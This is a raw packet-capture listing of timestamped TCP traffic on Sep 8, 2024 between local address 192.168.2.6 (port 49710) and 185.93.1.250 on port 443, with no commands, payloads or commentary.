Sep 8, 2024 09:53:40.381848097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.381859064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.381870985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.382955074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.382975101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.383002043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.383008003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.383032084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.383948088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.383960962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.384008884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.384016991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.384294987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.384319067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.384345055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.384351015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.384371042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.424627066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.467417002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467439890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467502117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467554092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.467571020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467617989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467631102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.467641115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.467967987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.467987061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468024015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.468033075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468056917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.468343019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468364954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468640089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.468640089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.468650103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468776941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468795061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468838930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.468846083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.468871117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.469945908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.469965935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.470000982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.470006943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.470027924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.470868111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.470892906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.470933914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.470941067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.470972061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.471333027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.471359015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.471390009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.471395969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.471416950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.518367052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.554203033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554228067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554285049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.554299116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554328918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.554352045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.554456949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554475069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554519892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.554526091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.554553986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555018902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555035114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555080891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555085897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555114985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555264950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555282116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555324078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555335045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555366993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555797100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555814981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555877924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.555882931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.555923939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.557167053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.557198048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.557221889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.557233095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.557261944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.557296038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.557920933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.557936907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.557996035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.558001041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.558037996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.558090925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.558104038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.558157921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.558161974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.558201075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.641506910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641531944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641581059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641613007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.641639948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641665936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641676903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.641689062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.641778946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641793013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641839027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.641846895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.641869068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.642364979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.642383099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.642426014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.642436028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.642462015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.642755032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.642769098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.642822981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.642829895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.643754959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.643781900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.643834114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.643842936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645272970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645287037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645349979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.645355940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645710945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645728111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645775080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.645781040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.645802021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.690270901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.728457928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728493929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728549004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.728559971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728570938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728588104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728627920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.728643894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728666067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.728683949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.728945971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.728960991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729011059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.729017973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729055882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.729444027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729456902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729511976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.729518890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729552984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.729748964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729763985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729811907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.729818106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.729855061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.730736017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.730751038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.730804920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.730814934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.730848074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.732316971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732336044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732391119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.732402086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732439995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.732516050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732531071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732580900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.732587099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.732625008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.815562010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815587044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815659046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.815682888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815706968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815726042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815735102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.815742016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.815767050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.815800905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.816239119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816251993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816308022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.816313982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816349030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.816548109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816562891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816615105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.816621065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.816657066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.817131042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817148924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817200899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.817208052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817244053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.817706108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817719936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817768097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.817774057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.817809105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.819264889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819278002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819340944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.819350958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819386005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.819637060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819649935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819700003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.819705963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.819741964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.902657986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902690887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902791023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.902812958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902833939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902863026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902863026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.902873993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.902905941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.902932882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.903109074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903126001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903177977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.903183937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903229952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.903525114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903542042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903599024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.903604031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.903645039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.904026985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904047012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904099941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.904104948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904143095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.904692888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904709101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904759884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.904766083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.904800892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.906275988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906291008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906338930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.906349897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906383991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.906824112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906838894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906887054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.906893969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.906929016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.989840984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.989869118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.989936113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.989942074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.989955902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.989970922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.989980936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.990004063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.990015984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.990031004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.990057945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.990328074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.990343094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.990382910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.990389109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.990432024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.990510941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.991158009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991178989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991242886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.991249084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991282940 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.991502047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991517067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991584063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.991590023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.991626024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.992139101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.992155075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.992207050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.992212057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.992253065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.993668079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.993686914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.993738890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.993745089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.993771076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.993794918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.993990898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.994005919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.994061947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:40.994066954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:40.994102001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.076750994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.076782942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.076862097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.076896906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.076913118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.076934099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.077090025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077111959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077148914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.077155113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077183008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.077205896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.077523947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077538967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077599049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.077605963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.077645063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.078362942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078385115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078421116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.078425884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078457117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.078474998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.078761101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078777075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078826904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.078840017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.078881979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.079313993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.079335928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.079372883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.079377890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:41.079404116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.079421043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:41.080703020 CEST	443	49710	185.93.1.250	192.168.2.6
